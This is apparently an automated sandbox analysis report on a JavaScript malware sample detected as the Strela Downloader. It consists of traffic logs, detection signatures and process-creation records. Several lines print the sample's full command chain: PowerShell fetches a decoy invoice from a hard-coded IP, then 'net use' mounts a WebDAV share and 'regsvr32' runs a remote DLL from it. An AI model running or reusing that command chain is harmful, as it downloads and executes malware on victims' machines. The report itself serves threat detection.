20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: global traffic

TCP traffic: 192.168.2.7:49742 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49726 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1353493727.0000026909A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1418194991.0000021FDB233000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1418194991.0000021FDB21D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1424957383.0000021FDB21D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1424846911.0000021FDB1F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000002.1424846911.0000021FDB1F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tg
Source: svchost.exe, 00000009.00000002.2648959343.000001E29F800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.1422722872.000001E29F6F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7528, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2556095152538830312.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxexpufi.hax.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1648,i,2223938376289091916,8819030129141357301,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1648,i,2223938376289091916,8819030129141357301,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
